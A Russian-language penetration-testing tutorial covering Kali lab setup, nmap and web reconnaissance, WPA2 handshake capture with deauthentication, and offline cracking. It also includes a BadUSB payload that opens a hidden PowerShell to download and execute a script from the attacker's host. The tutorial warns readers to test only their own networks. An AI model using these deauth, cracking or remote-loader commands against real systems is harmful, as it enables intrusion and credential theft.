Путь хакера: серия из 5 частей
Часть 1: Введение → Часть 2: Мастерство Flipper → Часть 3: Основы Kali → Часть 4: Эксплуатация → Часть 5: Полный аудит
В частях 1 и 2 вы клонировали карты, анализировали радиочастоты и поняли, почему большая часть «безопасности» — это лишь видимость. Вы видели уязвимости снаружи. Теперь вы заходите внутрь и смотрите на них глазами атакующего.
Kali Linux — это отраслевой стандарт дистрибутива для тестирования на проникновение. Он поставляется с более чем 600 предустановленными инструментами безопасности. Это может показаться подавляющим. Большинство руководств бросают вас в глубокую воду с командами, которые вы не понимаете, и без контекста, почему они важны.
Мы делаем это иначе. К концу этой статьи у вас будет рабочая лаборатория, вы поймёте сетевую разведку на фундаментальном уровне и захватите свой первый WiFi-хендшейк. Каждый шаг строится на предыдущем.
Часть 1: Создание лаборатории
Профессиональные пентестеры не запускают Kali на своей основной машине. Они используют изолированные среды, которые можно сбросить, сделать снимок и уничтожить без влияния на основную систему. Вы сделаете то же самое.
Вариант А: Виртуальная машина (рекомендуется для обучения)
Виртуальная машина даёт вам самую безопасную среду для обучения. Вы можете сохранять снимки прогресса, допускать ошибки и мгновенно откатываться.
Что понадобится
- Хост-машина: 16GB+ RAM, 50GB+ свободного места на диске, современный процессор с поддержкой виртуализации
- ПО для виртуализации: VirtualBox (бесплатно) или VMware Workstation Player (бесплатно для личного использования)
- Kali Linux: Официальный готовый образ VM с kali.org
Проект: Настройка Kali VM
Время: 30-45 минут
Шаги:
- Скачайте образ Kali VM для вашего гипервизора (VirtualBox или VMware)
- Распакуйте скачанный архив (рекомендуется 7-Zip для Windows)
- Импортируйте VM в ваш гипервизор
- Настройте ресурсы: минимум 4GB RAM (рекомендуется 8GB), 2+ ядра процессора
- Включите сетевой адаптер в режиме «Bridged» для полного доступа к сети
- Загрузите VM и войдите с учётными данными по умолчанию:
kali/kali - Откройте терминал и выполните:
sudo apt update && sudo apt full-upgrade -y - Создайте снимок с именем «Fresh Install» для лёгкого восстановления
Проверка успеха: Вы можете открыть терминал, выполнить whoami и увидеть kali.
Вариант Б: Выделенное оборудование (для серьёзной практики)
Когда вы освоитесь с Kali, выделенное оборудование устраняет накладные расходы VM и обеспечивает полный доступ к аппаратуре, что критично для беспроводного тестирования.
Рекомендации по оборудованию
| Бюджетный вариант | Б/у ThinkPad X230/T430 ($100-150), WiFi Intel заменён на Atheros AR9285 |
|---|---|
| Современный вариант | Framework Laptop с Linux-совместимым WiFi-модулем |
| Выделенный сенсор | Raspberry Pi 5 4GB с внешним адаптером Alfa AWUS036ACH |
Пока что VM — это идеальный вариант. Выделенное оборудование становится важным, когда вам нужен режим мониторинга для беспроводного тестирования (рассматривается далее в этой статье).
Вариант В: Live USB (нулевая сохранность)
Live USB запускает Kali напрямую без установки. Всё исчезает при выключении. Полезно для тестирования на разном оборудовании, но вы потеряете свою работу каждый сеанс, если не создадите постоянный раздел.
bash# Create bootable USB on Linux/Mac
sudo dd if=kali-linux-*.iso of=/dev/sdX bs=4M status=progress
# Replace sdX with your USB device (check with 'lsblk')
# On Windows: Use Rufus or balenaEtcherdd уничтожает данные
Команда dd пишет напрямую на диск без подтверждения. Трижды проверьте имя устройства. Запись на неправильное устройство полностью сотрёт этот диск.
Часть 2: Мышление терминала
Прежде чем касаться инструментов безопасности, вам нужно чувствовать себя комфортно в терминале. Это не опционально. GUI в Kali существует, но настоящая работа происходит в командной строке.
Базовая навигация
bash# Know where you are
pwd # Print working directory
# Move around
cd /home/kali # Go to home directory
cd .. # Go up one level
cd - # Go to previous directory
# See what's here
ls # List files
ls -la # List all files with details
ls -lah # Human-readable sizes
# Read files
cat filename # Display entire file
less filename # Scrollable view (q to quit)
head -n 20 filename # First 20 lines
tail -f filename # Follow file in real-time (logs)Повышение привилегий
Многие инструменты безопасности требуют root-доступа. В Kali sudo даёт временные привилегии root.
bashsudo command # Run single command as root
sudo -i # Start root shell (be careful)
whoami # Check current user
id # Show user and group IDsRoot с ответственностью
Работа от root означает отсутствие страховки. Опечатка вроде rm -rf / уничтожит всё. Современный Kali предотвращает эту конкретную команду, но принцип остаётся: понимайте, что вы запускаете, прежде чем запустить.
Управление процессами
bashps aux # All running processes
top # Real-time process viewer
htop # Better process viewer (install if needed)
# Control processes
ctrl+c # Stop current process
ctrl+z # Suspend process
bg # Resume in background
fg # Bring to foreground
# Kill processes
kill PID # Graceful termination
kill -9 PID # Force kill (last resort)Сетевые команды
baship a # Show network interfaces
ip route # Show routing table
ping -c 4 8.8.8.8 # Test connectivity
curl ifconfig.me # Your public IP
# DNS lookups
nslookup google.com
dig google.comПроект: Ориентация в терминале
Время: 15 минут
Задания:
- Найдите свой IP-адрес в локальной сети с помощью
ip a - Определите шлюз по умолчанию с помощью
ip route - Пропингуйте свой шлюз для подтверждения связи
- Выведите все файлы в
/etc, отсортированные по времени изменения:ls -lt /etc | head - Прочитайте первые 50 строк
/etc/passwd:head -n 50 /etc/passwd
Цель: Вы должны уметь навигировать, проверять состояние сети и читать файлы не задумываясь.
Часть 3: Сетевая разведка с Nmap
Nmap (Network Mapper) — самый важный инструмент, который вы изучите. Он обнаруживает хосты, определяет сервисы, детектирует операционные системы и картографирует топологию сети. Всё остальное строится на выводе nmap.
Ваше первое сканирование
Давайте просканируем вашу собственную сеть. Сначала определите диапазон вашей сети:
bash# Find your local IP and subnet
ip a | grep inet
# Look for something like: inet 192.168.1.100/24
# The /24 means your network is 192.168.1.0-255bash# Basic discovery scan (your network only)
sudo nmap -sn 192.168.1.0/24
# What this does:
# -sn = ping scan (no port scanning, just host discovery)
# /24 = scan all 256 addresses in this subnetВы увидите вывод вроде:
textNmap scan report for 192.168.1.1
Host is up (0.0025s latency).
MAC Address: AA:BB:CC:DD:EE:FF (Manufacturer Name)
Nmap scan report for 192.168.1.50
Host is up (0.0042s latency).
MAC Address: 11:22:33:44:55:66 (Another Manufacturer)Первое сканирование говорит вам: «Эти устройства существуют в моей сети.» Теперь зададим более глубокие вопросы.
Обнаружение сервисов
Когда вы знаете, какие хосты существуют, вы хотите узнать, какие сервисы они запускают.
bash# Scan a single target for open ports and services
sudo nmap -sV 192.168.1.1
# -sV = Version detection (probe open ports for service info)Типичный вывод:
textPORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1
80/tcp open http nginx 1.18.0
443/tcp open ssl/http nginx 1.18.0Обнаружение операционной системы
bash# Detect OS (requires root)
sudo nmap -O 192.168.1.1
# Combined scan: OS detection + service versions + default scripts
sudo nmap -A 192.168.1.1Понимание состояний портов
Nmap сообщает о портах в нескольких состояниях:
- open — приложение активно принимает соединения. Это то, что ищут атакующие.
- closed — порт доступен, но приложение не слушает. Хост активен, но там ничего нет.
- filtered — файрвол или фильтр блокирует зонд. Невозможно определить, открыт или закрыт.
- unfiltered — порт доступен, но nmap не может определить, открыт он или закрыт.
Типы сканирования и скрытность
bash# TCP Connect scan (default, noisy but reliable)
sudo nmap -sT target
# SYN scan (stealthier, default with root)
sudo nmap -sS target
# UDP scan (slow but important - many services use UDP)
sudo nmap -sU target
# Scan all 65535 ports (thorough but slow)
sudo nmap -p- target
# Scan specific ports
sudo nmap -p 22,80,443,8080 target
# Top 1000 common ports (default behavior)
sudo nmap targetNmap Scripting Engine (NSE)
NSE расширяет nmap специализированными скриптами для обнаружения уязвимостей, перечисления сервисов и многого другого.
bash# Run default safe scripts
sudo nmap -sC target
# Check for vulnerabilities
sudo nmap --script vuln target
# SMB enumeration (Windows shares)
sudo nmap --script smb-enum-shares target
# HTTP enumeration
sudo nmap --script http-enum target
# List available scripts
ls /usr/share/nmap/scripts/ | head -20Проект: Картографируйте свою сеть
Время: 30 минут
Предварительные требования: Знать диапазон своей сети из ip a
- Обнаружьте все хосты:
sudo nmap -sn YOUR_NETWORK/24 - Составьте список обнаруженных хостов и их MAC-адресов
- Выберите свой роутер (обычно .1) и выполните:
sudo nmap -sV -sC YOUR_ROUTER - Определите все открытые порты и сервисы на роутере
- Выполните
sudo nmap -A YOUR_COMPUTER, чтобы увидеть, что ваша машина выставляет наружу
Документируйте: Создайте текстовый файл со списком каждого устройства, его IP, MAC и сервисов. Это ваша карта сети.
Сканируйте только свои сети
Сканирование сетей без авторизации незаконно в большинстве юрисдикций. Даже простое сканирование nmap может считаться несанкционированным доступом. Оставайтесь в своей сети, со своим оборудованием и в сетях, где у вас есть явное письменное разрешение.
Часть 4: Веб-разведка
Ваше сканирование nmap, вероятно, нашло HTTP-сервисы (порты 80, 443, 8080). Давайте разберёмся, что там работает.
Whatweb: Быстрая идентификация сервиса
bash# Identify web technologies
whatweb http://192.168.1.1Пример вывода:
texthttp://192.168.1.1 [200 OK] Country[RESERVED][ZZ],
HTTPServer[nginx/1.18.0], IP[192.168.1.1],
Title[Router Admin], nginx[1.18.0]Nikto: Сканер веб-уязвимостей
bash# Scan for common web vulnerabilities
nikto -h http://192.168.1.1
# This checks for:
# - Outdated server software
# - Dangerous files/CGIs
# - Misconfigurations
# - Default credentialsПеречисление директорий: Что скрыто?
Веб-серверы часто имеют директории, не связанные с главной страницей: панели администрирования, файлы конфигурации, резервные копии.
bash# Gobuster: directory brute-forcing
gobuster dir -u http://192.168.1.1 -w /usr/share/wordlists/dirb/common.txtЧастые находки:
text/admin (Status: 301)
/backup (Status: 403)
/config (Status: 200)
/login (Status: 200)Расположение словарей
Kali включает обширные словари в /usr/share/wordlists/. Самые распространённые директории: dirb/, dirbuster/, rockyou.txt (пароли) и seclists/ (полная коллекция).
Проект: Проверьте веб-интерфейс роутера
Время: 20 минут
- Выполните
whatweb http://YOUR_ROUTER_IPдля идентификации сервера - Выполните
nikto -h http://YOUR_ROUTER_IPдля проверки уязвимостей - Выполните
gobuster dir -u http://YOUR_ROUTER_IP -w /usr/share/wordlists/dirb/small.txt - Посетите обнаруженные директории в браузере
- Запишите панели администрирования, номера версий или интересные находки
Частая находка: Страницы администрирования роутера, доступные с учётными данными по умолчанию.
Часть 5: Беспроводная разведка
Здесь становится по-настоящему интересно. Сети WiFi постоянно вещают, и с правильными инструментами вы можете захватить хендшейки аутентификации — зашифрованный обмен, который происходит при подключении устройства.
Требования к оборудованию
Ваш встроенный WiFi, скорее всего, не подойдёт для этого. Вам нужен адаптер с поддержкой режима мониторинга и инъекции пакетов. Рекомендуются: Alfa AWUS036ACH ($50) или Alfa AWUS036ACM ($45). Они работают с Kali «из коробки».
Понимание режима мониторинга
Обычный режим WiFi («managed mode») получает только пакеты, адресованные вашему устройству. Режим мониторинга захватывает все пакеты в зоне действия, трафик каждого устройства на канале.
bash# Check your wireless interfaces
iwconfig
# Look for your adapter (often wlan0 or wlan1)
# Kill interfering processes
sudo airmon-ng check kill
# Enable monitor mode
sudo airmon-ng start wlan0
# Your interface is now wlan0monСканирование сетей
bash# Start capturing wireless traffic
sudo airodump-ng wlan0mon
# You'll see:
# BSSID = Router MAC address
# PWR = Signal strength (higher = closer)
# CH = Channel
# ENC = Encryption (WPA2, WPA3, OPN)
# ESSID = Network name
# Press Ctrl+C to stopТо, что вы видите — это каждая WiFi-сеть в зоне действия, их настройки безопасности, и часто устройства, подключённые к ним. Это то, что видит war driver при сканировании кварталов.
Захват хендшейка
Когда устройство подключается к сети WPA2, происходит four-way handshake. Если вы захватите этот хендшейк, можете попытаться взломать пароль офлайн.
bash# Focus on your target network (your own network!)
sudo airodump-ng -c CHANNEL --bssid ROUTER_MAC -w capture wlan0mon
# -c CHANNEL = Target's channel from previous scan
# --bssid = Target router's MAC address
# -w capture = Save to files starting with "capture"
# Now wait for a device to connect...
# Or force a reconnection (on YOUR network only):
# In a new terminal:
sudo aireplay-ng --deauth 5 -a ROUTER_MAC wlan0mon
# This sends 5 deauth packets, disconnecting clients
# They automatically reconnect, generating a handshakeКогда вы захватите хендшейк, airodump-ng покажет [ WPA handshake: XX:XX:XX:XX:XX:XX ] в правом верхнем углу.
Атаки Deauth незаконны
Отправка пакетов деаутентификации в сети, которые вам не принадлежат, является федеральным преступлением согласно Computer Fraud and Abuse Act (в США) и аналогичным законам в других странах. Тестируйте только в своей сети. Цель — понять уязвимость, а не атаковать других.
Взлом хендшейка
С захваченным хендшейком вы можете попытаться взломать пароль офлайн с помощью словаря:
bash# Crack using a wordlist
aircrack-ng -w /usr/share/wordlists/rockyou.txt capture-01.cap
# If the password is in the wordlist, you'll see:
# KEY FOUND! [ password123 ]
# For stronger passwords, use hashcat (GPU-accelerated)
# First, convert capture format:
cap2hccapx capture-01.cap capture.hccapx
# Then crack with hashcat:
hashcat -m 22000 capture.hccapx /usr/share/wordlists/rockyou.txtРеальность надёжности паролей
rockyou.txt содержит 14+ миллионов паролей из реальных утечек данных. Если ваш пароль WiFi — «password123» или «summer2024» или кличка вашей собаки, он взламывается за секунды. Случайный пароль из 12+ символов потребовал бы миллионов лет для перебора.
Проект: Проверьте безопасность своего WiFi
Время: 45 минут
Предварительные требования: Внешний WiFi-адаптер с поддержкой режима мониторинга
- Включите режим мониторинга:
sudo airmon-ng start wlan0 - Просканируйте сети:
sudo airodump-ng wlan0mon - Запишите канал и BSSID своей сети
- Захватывайте на своём канале:
sudo airodump-ng -c CHANNEL --bssid YOUR_BSSID -w mywifi wlan0mon - Переподключите устройство к WiFi (или используйте deauth в СВОЕЙ сети)
- Подтвердите захват хендшейка
- Проверьте по rockyou.txt:
aircrack-ng -w /usr/share/wordlists/rockyou.txt mywifi-01.cap
Результат: Если ваш пароль был найден, немедленно смените его на что-то случайное и длинное (20+ символов).
Часть 6: Подключение Flipper Zero
Помните все те захваты из части 2? Давайте интегрируем их в ваш рабочий процесс с Kali.
Передача файлов
bash# Connect Flipper via USB
# It appears as a mass storage device
# Mount if not auto-mounted
sudo mount /dev/sda1 /mnt/flipper
# Your captures are in:
/mnt/flipper/subghz/ # Sub-GHz captures
/mnt/flipper/nfc/ # NFC dumps
/mnt/flipper/infrared/ # IR captures
/mnt/flipper/lfrfid/ # 125kHz RFID
/mnt/flipper/badusb/ # BadUSB scriptsАнализ NFC-дампов
bash# Install libnfc tools
sudo apt install libnfc-bin mfoc mfcuk
# Flipper saves NFC as .nfc text format
# Convert to binary for analysis:
python3 flipper_nfc_to_mfd.py card.nfc card.mfd
# Analyze MIFARE Classic dump
hexdump -C card.mfd | lessАнализ Sub-GHz
bash# Flipper's .sub files are text-based
cat garage_door.sub
# Contains:
# - Frequency (315MHz, 433MHz, etc.)
# - Protocol or RAW data
# - Timing information
# For deeper RF analysis, use:
# - Universal Radio Hacker (URH)
# - GNU Radio
# - rtl_433 (with SDR hardware)Разработка BadUSB
Создавайте пейлоады BadUSB в Kali, тестируйте на Flipper:
bash# Flipper uses DuckyScript-compatible syntax
# Create payload on Kali:
cat > kali_connect.txt << 'EOF'
DELAY 1000
GUI r
DELAY 500
STRING powershell -nop -w hidden -c "IEX(New-Object Net.WebClient).DownloadString('http://YOUR_KALI_IP:8000/shell.ps1')"
ENTER
EOF
# Host the payload from Kali:
python3 -m http.server 8000
# Copy to Flipper's badusb folder
cp kali_connect.txt /mnt/flipper/badusb/Пейлоады BadUSB очень мощные
Эти скрипты выполняются автоматически при подключении. Вредоносный пейлоад может установить бэкдор, украсть учётные данные или уничтожить данные за секунды. Используйте только на своих машинах для тестирования. Никогда не оставляйте Flipper там, где кто-то другой может его подключить.
Часть 7: Документация и рабочий процесс
Профессиональные пентестеры не просто запускают инструменты. Они документируют всё. Хорошая документация отличает любителей от профессионалов.
Ведение заметок с CherryTree
bash# Install CherryTree (hierarchical note-taking)
sudo apt install cherrytree
# Organize notes by:
# - Target/network
# - Reconnaissance
# - Enumeration
# - Vulnerabilities
# - Exploitation attempts
# - Post-exploitationСохранение вывода Nmap
bash# Save in all formats
sudo nmap -sV -sC -oA scan_results target
# Creates:
# scan_results.nmap (human-readable)
# scan_results.xml (parseable)
# scan_results.gnmap (greppable)Логирование сессии
bash# Log entire terminal session
script session_$(date +%Y%m%d_%H%M%S).log
# Now every command and output is recorded
# Type 'exit' to stop loggingПуть хакера
Серия из 5 частей, ведущая вас от любопытства к компетентности.
Часть 1: Введение Часть 2: Мастерство Flipper Часть 3: Основы Kali ✓ Часть 4: Эксплуатация Часть 5: Полный аудит
Чек-лист части 3
☐ Настройка лаборатории: Kali VM запущена, обновлена, снимок сохранён
☐ Терминал: Комфортная навигация, права, управление процессами
☐ Nmap: Сеть картографирована, сервисы определены, роутер просканирован
☐ Веб-разведка: Веб-интерфейс роутера проанализирован через whatweb/nikto
☐ Беспроводная: Режим мониторинга включён, сети просканированы
☐ Хендшейк: Собственный WiFi-хендшейк захвачен и протестирован
☐ Flipper: Файлы перенесены, рабочий процесс понят
☐ Документация: Заметки организованы, сканы сохранены
Что дальше
Вы построили свою лабораторию и освоили фазу разведки. Вы можете обнаруживать хосты, определять сервисы и захватывать беспроводные хендшейки. Вы понимаете, что видят атакующие, когда смотрят на сеть.
В части 4 мы переходим от разведки к эксплуатации. Вы узнаете:
- Metasploit Framework, швейцарский нож эксплуатации
- Распространённые рабочие процессы эксплуатации уязвимостей
- Техники пост-эксплуатации: что происходит после первоначального доступа
- Повышение привилегий: от обычного пользователя до администратора
- Пивотинг: использование скомпрометированной системы для атаки на другие
Разведка говорит вам, где двери. Эксплуатация учит вас, как через них пройти.
Вы составили карту территории. Теперь вы учитесь по ней ориентироваться. Часть 4 переводит вас из наблюдателя в оператора.
Увидимся в части 4.